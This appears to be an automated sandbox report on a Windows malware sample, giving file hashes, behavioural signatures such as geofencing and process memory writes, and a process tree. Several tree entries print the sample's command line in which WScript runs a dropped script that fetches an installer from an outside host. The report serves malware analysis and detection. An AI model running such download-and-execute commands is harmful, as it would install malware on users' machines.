Analysis
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max time kernel
141s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
11/06/2024, 04:45
Static task
static1
Behavioral task
behavioral1
Sample
9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
Resource
win10v2004-20240226-en
General
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Target
9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
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Size
184KB
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MD5
9d03368e2dfb77a719e37f486e94dbe0
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SHA1
6ecf0ca078a5abeafc69e4cebf8034fa479eb2a6
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SHA256
60c1fa3596584a9dd18663cf5f312f25cae53171c14a040f093081475659a1bd
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SHA512
76ea611dbbea4bd920d3dbbe69a1b9b28defd324bd8e7e9ce9365139a1ae2500fcd9e5e0eadaf21195d0956120637fc801d0049d839577eb60ac42df8382792b
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3W:/7BSH8zUB+nGESaaRvoB7FJNndn7
Malware Config
Signatures
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Blocklisted process makes network request 8 IoCs
flow pid Process 14 3616 WScript.exe 42 4152 WScript.exe 43 4152 WScript.exe 58 2336 WScript.exe 59 2336 WScript.exe 61 4608 WScript.exe 63 1076 WScript.exe 64 1076 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 4612 1964 WerFault.exe 90 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 1964 wrote to memory of 3616 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 91 PID 1964 wrote to memory of 3616 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 91 PID 1964 wrote to memory of 3616 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 91 PID 1964 wrote to memory of 4152 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 98 PID 1964 wrote to memory of 4152 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 98 PID 1964 wrote to memory of 4152 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 98 PID 1964 wrote to memory of 2336 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 102 PID 1964 wrote to memory of 2336 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 102 PID 1964 wrote to memory of 2336 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 102 PID 1964 wrote to memory of 4608 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 103 PID 1964 wrote to memory of 4608 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 103 PID 1964 wrote to memory of 4608 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 103 PID 1964 wrote to memory of 1076 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 104 PID 1964 wrote to memory of 1076 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 104 PID 1964 wrote to memory of 1076 1964 9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe 104
Processes
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C:\Users\Admin\AppData\Local\Temp\9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe2⤵
- Blocklisted process makes network request
PID:3616
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe2⤵
- Blocklisted process makes network request
PID:4152
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe2⤵
- Blocklisted process makes network request
PID:2336
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe2⤵
- Blocklisted process makes network request
PID:4608
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe2⤵
- Blocklisted process makes network request
PID:1076
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1964 -s 14522⤵
- Program crash
PID:4612
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:81⤵PID:4412
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1964 -ip 19641⤵PID:2188
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76